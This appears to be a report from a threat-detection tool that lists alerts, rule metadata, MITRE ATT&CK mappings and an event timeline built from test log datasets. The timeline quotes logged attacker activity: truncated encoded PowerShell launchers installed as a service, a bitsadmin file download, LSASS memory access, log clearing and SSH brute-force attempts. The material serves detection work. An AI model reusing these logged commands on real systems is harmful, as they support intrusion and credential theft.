  8. 2026-10-05 16:00:49Z Host - Source unifiedlog Origin mac_ssh.ndjson:9
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51007 ssh2
  9. 2026-10-05 16:00:56Z Host - Source unifiedlog Origin mac_ssh.ndjson:10
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51008 ssh2
  10. 2026-10-05 16:01:03Z Host - Source unifiedlog Origin mac_ssh.ndjson:11
    sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51009 ssh2

False positives to rule out

  • A script or tool retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
macOS SSH Brute Force (correlation)
ID
32d4dc18-6307-4ad1-b937-aa19566eaf42
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_ssh_bruteforce.yml
References
low

User Account Created

First seen
2020-09-14 12:06:03Z
Host
WORKSTATION6.theshire.local
Events
1 event(s)

What the rule looks for

A user account was created, in the local SAM database of a workstation or server, or in Active Directory when logged by a domain controller (Security event 4720). Attackers create accounts to keep access to a compromised host or domain.

When
2020-09-14 12:06:03Z
Hosts
WORKSTATION6.theshire.local

What the techniques mean

ATT&CK
T1136.001, T1136.002 (Persistence)
T1136.001
Create Account: Local Account
Persistence

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

T1136.002
Create Account: Domain Account
Persistence

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts.

Evidence: 1 event(s)

  1. 2020-09-14 12:06:03Z Host WORKSTATION6.theshire.local Source security 4720 Origin empire_wmic_add_user_backdoor_excerpt.json:5
    SubjectUserName=pgustavo TargetUserName=backdoor

False positives to rule out

  • Administrators or help desk staff creating accounts, which is routine in domain controller logs
  • Local accounts managed by privileged account management tools

Rule

Title
User Account Created
ID
87270cf5-a164-4eb4-bd0b-f92d2ef57c1c
Level
low
Status
test
Author
Patrick Bareiss (SigmaHQ), adapted by Bouliw (rule licensed under DRL-1.1)
Date
2026-09-28
File
vigie/rules/windows/win_security_user_account_created.yml
References
low

Sudo Authentication Failure

First seen
2024-03-10 09:09:30Z
Host
web01
Events
1 event(s)

What the rule looks for

A user failed to authenticate to sudo. Repeated failures can reveal someone trying to guess a password to gain root privileges.

When
2024-03-10 09:09:30Z
Hosts
web01

What the technique means

ATT&CK
T1548.003 (Privilege Escalation)
T1548.003
Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Privilege Escalation

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Evidence: 1 event(s)

  1. 2024-03-10 09:09:30Z Host web01 Source auth Origin auth.log:24
    deploy : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/srv/app ; USER=root ; COMMAND=/bin/bash

False positives to rule out

  • Users mistyping their password

Rule

Title
Sudo Authentication Failure
ID
87c54c54-38eb-4d79-88a8-714dbb6a656d
Level
low
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_sudo_auth_failure.yml
References
low

Sudo Authentication Failure

First seen
2024-06-04 08:07:12Z
Host
deb13
Events
1 event(s)

What the rule looks for

A user failed to authenticate to sudo. Repeated failures can reveal someone trying to guess a password to gain root privileges.

When
2024-06-04 08:07:12Z
Hosts
deb13

What the technique means

ATT&CK
T1548.003 (Privilege Escalation)
T1548.003
Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Privilege Escalation

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Evidence: 1 event(s)

  1. 2024-06-04 08:07:12Z Host deb13 Source auth Origin auth_openssh10.log:16
    deploy : 3 incorrect password attempts ; HOST=deb13 ; TTY=pts/0 ; PWD=/home/deploy ; USER=root ; COMMAND=/bin/bash

False positives to rule out

  • Users mistyping their password

Rule

Title
Sudo Authentication Failure
ID
87c54c54-38eb-4d79-88a8-714dbb6a656d
Level
low
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_sudo_auth_failure.yml
References
low

macOS Sudo Authentication Failure

First seen
2026-10-05 08:05:08Z
Events
1 event(s)

What the rule looks for

A user failed to authenticate to sudo on a Mac. Repeated failures can reveal someone trying to guess a password to gain root privileges.

When
2026-10-05 08:05:08Z
Hosts
-

What the technique means

ATT&CK
T1548.003 (Privilege Escalation)
T1548.003
Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Privilege Escalation

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Evidence: 1 event(s)

  1. 2026-10-05 08:05:08Z Host - Source unifiedlog Origin mac_sudo.ndjson:9
    sudo: opsadmin : 3 incorrect password attempts ; TTY=ttys001 ; PWD=/Users/opsadmin ; USER=root ; COMMAND=/bin/cat /etc/sudoers

False positives to rule out

  • Users mistyping their password

Rule

Title
macOS Sudo Authentication Failure
ID
8b06d578-7d99-412a-a095-1513099b48df
Level
low
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_sudo_auth_failure.yml
References
low

macOS Sudo Authentication Failure

First seen
2026-10-05 08:05:34Z
Events
1 event(s)

What the rule looks for

A user failed to authenticate to sudo on a Mac. Repeated failures can reveal someone trying to guess a password to gain root privileges.

When
2026-10-05 08:05:34Z
Hosts
-

What the technique means

ATT&CK
T1548.003 (Privilege Escalation)
T1548.003
Abuse Elevation Control Mechanism: Sudo and Sudo Caching
Privilege Escalation

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Evidence: 1 event(s)

  1. 2026-10-05 08:05:34Z Host - Source unifiedlog Origin mac_sudo.ndjson:13
    sudo: opsadmin : 2 incorrect password attempts ; PWD=/tmp ; USER=root ; COMMAND=/usr/bin/dscl . -read /Users/kiosk

False positives to rule out

  • Users mistyping their password

Rule

Title
macOS Sudo Authentication Failure
ID
8b06d578-7d99-412a-a095-1513099b48df
Level
low
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_sudo_auth_failure.yml
References

Rules that fired

Pick a rule to list only its alerts.

SeverityRuleAlertsFirst seenLast seen
high 42020-09-22 08:38:29Z2020-10-18 23:50:06Z
high 32024-03-10 09:05:42Z2024-06-04 08:05:30Z
high 22020-10-18 02:17:00Z2020-10-21 11:28:08Z
high 22020-09-20 16:16:58Z2021-06-11 09:07:41Z
high 22026-10-05 15:00:00Z2026-10-05 15:00:02Z
high 12020-10-21 11:28:08Z2020-10-21 11:28:08Z
high 12026-10-05 13:20:00Z2026-10-05 13:20:00Z
high 12026-10-05 16:00:00Z2026-10-05 16:03:30Z
medium 92024-03-10 09:05:42Z2024-07-08 03:12:20Z
medium 32026-10-05 13:00:00Z2026-10-05 13:20:00Z
medium 22020-10-23 06:36:43Z2020-10-23 06:36:43Z
medium 22020-09-20 06:57:49Z2020-09-20 06:57:49Z
medium 22024-03-10 09:05:42Z2024-06-03 14:39:50Z
medium 22020-09-21 07:15:47Z2020-12-19 07:00:22Z
medium 22026-10-05 14:00:07Z2026-10-05 14:30:04Z
medium 22026-10-05 13:00:00Z2026-10-05 13:20:00Z
medium 22026-10-05 13:10:00Z2026-10-05 13:40:00Z
medium 12024-03-10 09:08:12Z2024-03-10 09:08:12Z
medium 12020-10-19 03:30:46Z2020-10-19 03:30:46Z
medium 12020-10-22 08:29:55Z2020-10-22 08:29:55Z
medium 12026-10-05 08:05:02Z2026-10-05 08:05:34Z
medium 12026-10-05 16:00:00Z2026-10-05 16:01:03Z
low 22024-03-10 09:09:30Z2024-06-04 08:07:12Z
low 22026-10-05 08:05:08Z2026-10-05 08:05:34Z
low 12020-09-14 12:06:03Z2020-09-14 12:06:03Z

MITRE ATT&CK

Tactics and techniques of MITRE ATT&CK 19.2 the alerts map to, in matrix order.

TacticAlertsTechniques
Initial Access TA0001 The adversary is trying to get into your network. 4
  • T1078.003 Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
Execution TA0002 The adversary is trying to run malicious code. 11
  • T1053.005 Scheduled Task/Job: Scheduled Task Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows.
  • T1059.001 Command and Scripting Interpreter: PowerShell Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code.
  • T1197 BITS Jobs Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).
  • T1204.002 User Execution: Malicious File An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment.
  • T1569.002 System Services: Service Execution Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.
Persistence TA0003 The adversary is trying to maintain their foothold. 20
  • T1053.005 Scheduled Task/Job: Scheduled Task Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows.
  • T1078.003 Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
  • T1136.001 Create Account: Local Account Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
  • T1136.002 Create Account: Domain Account Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts.
  • T1197 BITS Jobs Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).
  • T1543.001 Create or Modify System Process: Launch Agent Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.
  • T1543.003 Create or Modify System Process: Windows Service Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.
  • T1543.004 Create or Modify System Process: Launch Daemon Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.
  • T1546.004 Event Triggered Execution: Unix Shell Configuration Modification Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events.
Privilege Escalation TA0004 The adversary is trying to gain higher-level permissions. 20
  • T1053.005 Scheduled Task/Job: Scheduled Task Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows.
  • T1078.003 Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
  • T1543.001 Create or Modify System Process: Launch Agent Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.
  • T1543.003 Create or Modify System Process: Windows Service Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.
  • T1543.004 Create or Modify System Process: Launch Daemon Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.
  • T1546.004 Event Triggered Execution: Unix Shell Configuration Modification Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events.
  • T1548.003 Abuse Elevation Control Mechanism: Sudo and Sudo Caching Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.
Stealth TA0005 The adversary is trying to hide and conceal their actions, appearing as normal behavior. 12
  • T1027.010 Obfuscated Files or Information: Command Obfuscation Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze.
  • T1036.005 Masquerading: Match Legitimate Resource Name or Location Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation.
  • T1078.003 Valid Accounts: Local Accounts Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
  • T1197 BITS Jobs Adversaries may abuse BITS jobs to persistently execute code and perform various background tasks. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM).
  • T1564.001 Hide Artifacts: Hidden Files and Directories Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file.
Defense Impairment TA0112 The adversary is trying to break security mechanisms, pipelines, and tooling so defenders can’t see or trust what’s happening. 3
  • T1685.005 Disable or Modify Tools: Clear Windows Event Logs Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications.
Credential Access TA0006 The adversary is trying to steal account names and passwords. 24
  • T1003.001 OS Credential Dumping: LSASS Memory Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.
  • T1110.001 Brute Force: Password Guessing Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.
  • T1110.003 Brute Force: Password Spraying Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain.
  • T1539 Steal Web Session Cookie An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.
  • T1555.001 Credentials from Password Stores: Keychain Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes.
  • T1555.003 Credentials from Password Stores: Credentials from Web Browsers Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.
Collection TA0009 The adversary is trying to gather data of interest to their goal. 2
  • T1005 Data from Local System Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration.
Command and Control TA0011 The adversary is trying to communicate with compromised systems to control them. 2
  • T1105 Ingress Tool Transfer Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp.

Timeline

Events behind the alerts above, in time order.

TimeHostSourceIDEventAlerts
2020-09-14 12:06:03ZWORKSTATION6.theshire.localsecurity 4720SubjectUserName=pgustavo TargetUserName=backdoor low User Account Created
2020-09-20 06:57:49ZWORKSTATION6.theshire.localsecurity 4688CommandLine=C:\Windows\System32\WindowsPowershell\v1.0\powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAFIAcwBpAG8ATgBUAGEAQgBMAEUALgBQAFMAVgBFAHIAcwBJAE8AbgAuAE0AYQBqAE8AUgAgAC0AZwBlACAAMwApAHsAJAA2ADgANgA2AD0AWwBSAEUAZgBdAC4AQQBzAHMAZ… medium PowerShell Encoded Command Execution
2020-09-20 06:57:49ZWORKSTATION6.theshire.localsysmon 1CommandLine=C:\Windows\System32\WindowsPowershell\v1.0\powershell -noP -sta -w 1 -enc SQBGACgAJABQAFMAVgBFAFIAcwBpAG8ATgBUAGEAQgBMAEUALgBQAFMAVgBFAHIAcwBJAE8AbgAuAE0AYQBqAE8AUgAgAC0AZwBlACAAMwApAHsAJAA2ADgANgA2AD0AWwBSAEUAZgBdAC4AQQBzAHMAZ… medium PowerShell Encoded Command Execution
2020-09-20 16:16:58ZWORKSTATION6.theshire.localsystem 7045ServiceName=Updater ImagePath=%COMSPEC% /C start /b C:\Windows\System32\WindowsPowershell\v1.0\powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBFAHIAUwBpAE8AbgBUAGEAYgBsAEUALgBQAFMAVgBFAFIAcwBJAE8AbgAuAE0AYQBqAG8AcgAgAC0ARwBFACAAMwApAHsAJ… high Suspicious Service Installed
2020-09-21 07:15:47ZWORKSTATION5.theshire.localsecurity 4698TaskName=\MordorSchtask SubjectUserName=pgustavo medium Suspicious Scheduled Task Created
2020-09-22 08:38:29ZWORKSTATION5.theshire.localsysmon 10SourceImage=C:\windows\system32\taskmgr.exe TargetImage=C:\windows\system32\lsass.exe GrantedAccess=0x1fffff high LSASS Memory Access With Credential Dumping Rights
2020-09-22 08:38:29ZWORKSTATION5.theshire.localsysmon 10SourceImage=C:\windows\system32\taskmgr.exe TargetImage=C:\windows\system32\lsass.exe GrantedAccess=0x1fffff high LSASS Memory Access With Credential Dumping Rights
2020-10-18 02:17:00ZWORKSTATION5security 1102The audit log was cleared. Subject: Security ID: S-1-5-21-3940915590-64593676-1414006259-500 Account Name: wardog Domain Name: WORKSTATION5 Logon ID: 0x13899EA high Security Event Log Cleared
2020-10-18 23:50:06ZWORKSTATION5sysmon 10SourceImage=C:\Windows\System32\rundll32.exe TargetImage=C:\windows\system32\lsass.exe GrantedAccess=0x1410 high LSASS Memory Access With Credential Dumping Rights
2020-10-18 23:50:06ZWORKSTATION5sysmon 10SourceImage=C:\Windows\System32\rundll32.exe TargetImage=C:\windows\system32\lsass.exe GrantedAccess=0x1fffff high LSASS Memory Access With Credential Dumping Rights
2020-10-19 03:30:46ZWORKSTATION5system 7045ServiceName=PSEXESVC ImagePath=%SystemRoot%\PSEXESVC.exe medium PsExec-Like Service Installed
2020-10-21 11:28:08ZWORKSTATION5security 1102The audit log was cleared. Subject: Security ID: S-1-5-21-3940915590-64593676-1414006259-500 Account Name: wardog Domain Name: WORKSTATION5 Logon ID: 0xC61D9 high Security Event Log Cleared
2020-10-21 11:28:08ZWORKSTATION5system 104The System log file was cleared. high Important Windows Event Log Cleared
2020-10-22 08:29:55ZWORKSTATION5.theshire.localsecurity 4625SubjectUserName=pgustavo TargetUserName=lrodriguez IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a medium Windows Logon Brute Force From Single Source
2020-10-22 08:29:55ZWORKSTATION5.theshire.localsecurity 4625SubjectUserName=pgustavo TargetUserName=pgustavo IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a medium Windows Logon Brute Force From Single Source
2020-10-22 08:29:55ZWORKSTATION5.theshire.localsecurity 4625SubjectUserName=pgustavo TargetUserName=sysmonsvc IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a medium Windows Logon Brute Force From Single Source
2020-10-22 08:29:55ZWORKSTATION5.theshire.localsecurity 4625SubjectUserName=pgustavo TargetUserName=sbeavers IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a medium Windows Logon Brute Force From Single Source
2020-10-22 08:29:55ZWORKSTATION5.theshire.localsecurity 4625SubjectUserName=pgustavo TargetUserName=mscott IpAddress=- WorkstationName=WORKSTATION5 Status=0xc000006d SubStatus=0xc000006a medium Windows Logon Brute Force From Single Source
2020-10-23 06:36:43ZWORKSTATION5security 4688CommandLine=bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Users\wardog\AppData\Local\Temp\bitsadmin1_flag.ps1 NewProcessName=C:\Windows… medium File Download Via Bitsadmin
2020-10-23 06:36:43ZWORKSTATION5sysmon 1CommandLine=bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md C:\Users\wardog\AppData\Local\Temp\bitsadmin1_flag.ps1 Image=C:\Windows\System32… medium File Download Via Bitsadmin
2020-12-19 07:00:22ZWORKSTATION6.theshire.localsecurity 4698TaskName=\Microsoft\Windows\SoftwareProtectionPlatform\EventCacheManager SubjectUserName=pgustavo medium Suspicious Scheduled Task Created
2021-06-11 09:07:41ZWORKSTATION5system 7045ServiceName=tbbd05 ImagePath=%COMSPEC% echo /c b6a1458f396 > \\.\pipe\334485 high Suspicious Service Installed
2024-03-10 09:05:42Zweb01auth -Failed password for invalid user oracle from 203.0.113.45 port 40022 ssh2 high SSH Login After Brute Force; SSH Brute Force; SSH Password Spraying
2024-03-10 09:05:49Zweb01auth -Failed password for root from 203.0.113.45 port 40030 ssh2 high SSH Login After Brute Force; SSH Brute Force; SSH Password Spraying
2024-03-10 09:05:56Zweb01auth -Failed password for root from 203.0.113.45 port 40038 ssh2 high SSH Login After Brute Force; SSH Brute Force; SSH Password Spraying
2024-03-10 09:06:03Zweb01auth -Failed password for invalid user admin from 203.0.113.45 port 40046 ssh2 high SSH Login After Brute Force; SSH Brute Force; SSH Password Spraying
2024-03-10 09:06:10Zweb01auth -Failed password for invalid user admin from 203.0.113.45 port 40054 ssh2 high SSH Login After Brute Force; SSH Brute Force; SSH Password Spraying
2024-03-10 09:06:17Zweb01auth -Failed password for invalid user test from 203.0.113.45 port 40062 ssh2 high SSH Login After Brute Force; SSH Brute Force; SSH Password Spraying
2024-03-10 09:06:24Zweb01auth -Failed password for root from 203.0.113.45 port 40070 ssh2 high SSH Login After Brute Force; SSH Brute Force; SSH Password Spraying
2024-03-10 09:06:31Zweb01auth -Failed password for opsadmin from 203.0.113.45 port 40078 ssh2 high SSH Login After Brute Force; SSH Brute Force; SSH Password Spraying
2024-03-10 09:06:38Zweb01auth -Failed password for opsadmin from 203.0.113.45 port 40086 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-03-10 09:06:45Zweb01auth -Failed password for invalid user ubuntu from 203.0.113.45 port 40094 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-03-10 09:07:05Zweb01auth -Accepted password for opsadmin from 203.0.113.45 port 40188 ssh2 high SSH Login After Brute Force
2024-03-10 09:08:12Zweb01auth -new user: name=svc_update, UID=1003, GID=1003, home=/home/svc_update, shell=/bin/bash, from=/dev/pts/1 medium Local User Account Created
2024-03-10 09:09:30Zweb01auth -deploy : 3 incorrect password attempts ; TTY=pts/0 ; PWD=/srv/app ; USER=root ; COMMAND=/bin/bash low Sudo Authentication Failure
2024-04-03 02:00:05Zbackup01auth -Failed password for backup from 192.0.2.50 port 40000 ssh2 medium SSH Brute Force
2024-04-03 02:00:12Zbackup01auth -Failed password for backup from 192.0.2.50 port 40001 ssh2 medium SSH Brute Force
2024-04-03 02:00:19Zbackup01auth -Failed password for backup from 192.0.2.50 port 40002 ssh2 medium SSH Brute Force
2024-04-03 02:00:26Zbackup01auth -Failed password for backup from 192.0.2.50 port 40003 ssh2 medium SSH Brute Force
2024-04-03 02:00:33Zbackup01auth -Failed password for backup from 192.0.2.50 port 40004 ssh2 medium SSH Brute Force
2024-04-03 02:00:40Zbackup01auth -Failed password for backup from 192.0.2.50 port 40005 ssh2 medium SSH Brute Force
2024-04-03 02:00:47Zbackup01auth -Failed password for backup from 192.0.2.50 port 40006 ssh2 medium SSH Brute Force
2024-04-03 02:00:54Zbackup01auth -Failed password for backup from 192.0.2.50 port 40007 ssh2 medium SSH Brute Force
2024-04-03 02:01:01Zbackup01auth -Failed password for backup from 192.0.2.50 port 40008 ssh2 medium SSH Brute Force
2024-04-03 02:01:08Zbackup01auth -Failed password for backup from 192.0.2.50 port 40009 ssh2 medium SSH Brute Force
2024-06-03 08:00:00Zweb01auth -Failed password for root from 203.0.113.77 port 41000 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:00:33Zweb01auth -Failed password for root from 203.0.113.77 port 41001 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:01:06Zweb01auth -Failed password for root from 203.0.113.77 port 41002 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:01:39Zweb01auth -Failed password for root from 203.0.113.77 port 41003 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:02:12Zweb01auth -Failed password for root from 203.0.113.77 port 41004 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:02:45Zweb01auth -Failed password for root from 203.0.113.77 port 41005 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:03:18Zweb01auth -Failed password for root from 203.0.113.77 port 41006 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:03:51Zweb01auth -Failed password for root from 203.0.113.77 port 41007 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:04:24Zweb01auth -Failed password for root from 203.0.113.77 port 41008 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:04:57Zweb01auth -Failed password for root from 203.0.113.77 port 41009 ssh2 high SSH Login After Brute Force; SSH Brute Force
2024-06-03 08:10:00Zweb01auth -Accepted password for root from 203.0.113.77 port 41100 ssh2 high SSH Login After Brute Force
2024-06-03 09:00:00Zweb01auth -Failed password for root from 203.0.113.78 port 42000 ssh2 medium SSH Brute Force
2024-06-03 09:00:03Zweb01auth -Failed password for root from 203.0.113.78 port 42001 ssh2 medium SSH Brute Force
2024-06-03 09:00:06Zweb01auth -Failed password for root from 203.0.113.78 port 42002 ssh2 medium SSH Brute Force
2024-06-03 09:00:09Zweb01auth -Failed password for root from 203.0.113.78 port 42003 ssh2 medium SSH Brute Force
2024-06-03 09:00:12Zweb01auth -Failed password for root from 203.0.113.78 port 42004 ssh2 medium SSH Brute Force
2024-06-03 09:00:15Zweb01auth -Failed password for root from 203.0.113.78 port 42005 ssh2 medium SSH Brute Force
2024-06-03 09:00:18Zweb01auth -Failed password for root from 203.0.113.78 port 42006 ssh2 medium SSH Brute Force
2024-06-03 09:00:21Zweb01auth -Failed password for root from 203.0.113.78 port 42007 ssh2 medium SSH Brute Force
2024-06-03 09:00:24Zweb01auth -Failed password for root from 203.0.113.78 port 42008 ssh2 medium SSH Brute Force
2024-06-03 09:00:27Zweb01auth -Failed password for root from 203.0.113.78 port 42009 ssh2 medium SSH Brute Force
2024-06-03 10:00:10Zweb01auth -Failed password for root from 203.0.113.79 port 43001 ssh2 medium SSH Brute Force
2024-06-03 10:00:13Zweb01auth -Failed password for root from 203.0.113.79 port 43002 ssh2 medium SSH Brute Force
2024-06-03 10:00:16Zweb01auth -Failed password for root from 203.0.113.79 port 43003 ssh2 medium SSH Brute Force
2024-06-03 10:00:19Zweb01auth -Failed password for root from 203.0.113.79 port 43004 ssh2 medium SSH Brute Force
2024-06-03 10:00:22Zweb01auth -Failed password for root from 203.0.113.79 port 43005 ssh2 medium SSH Brute Force
2024-06-03 10:00:25Zweb01auth -Failed password for root from 203.0.113.79 port 43006 ssh2 medium SSH Brute Force
2024-06-03 10:00:28Zweb01auth -Failed password for root from 203.0.113.79 port 43007 ssh2 medium SSH Brute Force
2024-06-03 10:00:31Zweb01auth -Failed password for root from 203.0.113.79 port 43008 ssh2 medium SSH Brute Force
2024-06-03 10:00:34Zweb01auth -Failed password for root from 203.0.113.79 port 43009 ssh2 medium SSH Brute Force
2024-06-03 10:00:37Zweb01auth -Failed password for root from 203.0.113.79 port 43010 ssh2 medium SSH Brute Force
2024-06-03 11:00:00Zweb01auth -Failed password for root from 203.0.113.80 port 44000 ssh2 medium SSH Brute Force
2024-06-03 11:00:03Zweb01auth -Failed password for root from 203.0.113.80 port 44001 ssh2 medium SSH Brute Force
2024-06-03 11:00:06Zweb01auth -Failed password for root from 203.0.113.80 port 44002 ssh2 medium SSH Brute Force
2024-06-03 11:00:09Zweb01auth -Failed password for root from 203.0.113.80 port 44003 ssh2 medium SSH Brute Force
2024-06-03 11:00:12Zweb01auth -Failed password for root from 203.0.113.80 port 44004 ssh2 medium SSH Brute Force
2024-06-03 11:00:15Zweb01auth -Failed password for root from 203.0.113.80 port 44005 ssh2 medium SSH Brute Force
2024-06-03 11:00:18Zweb01auth -Failed password for root from 203.0.113.80 port 44006 ssh2 medium SSH Brute Force
2024-06-03 11:00:21Zweb01auth -Failed password for root from 203.0.113.80 port 44007 ssh2 medium SSH Brute Force
2024-06-03 11:00:24Zweb01auth -Failed password for root from 203.0.113.80 port 44008 ssh2 medium SSH Brute Force
2024-06-03 11:00:27Zweb01auth -Failed password for root from 203.0.113.80 port 44009 ssh2 medium SSH Brute Force
2024-06-03 14:30:00Zweb01auth -Failed password for invalid user admin from 198.51.100.85 port 49000 ssh2 medium SSH Password Spraying
2024-06-03 14:32:27Zweb01auth -Failed password for invalid user postgres from 198.51.100.85 port 49001 ssh2 medium SSH Password Spraying
2024-06-03 14:34:54Zweb01auth -Failed password for invalid user git from 198.51.100.85 port 49002 ssh2 medium SSH Password Spraying
2024-06-03 14:37:21Zweb01auth -Failed password for invalid user pi from 198.51.100.85 port 49003 ssh2 medium SSH Password Spraying
2024-06-03 14:39:50Zweb01auth -Failed password for invalid user user from 198.51.100.85 port 49004 ssh2 medium SSH Password Spraying
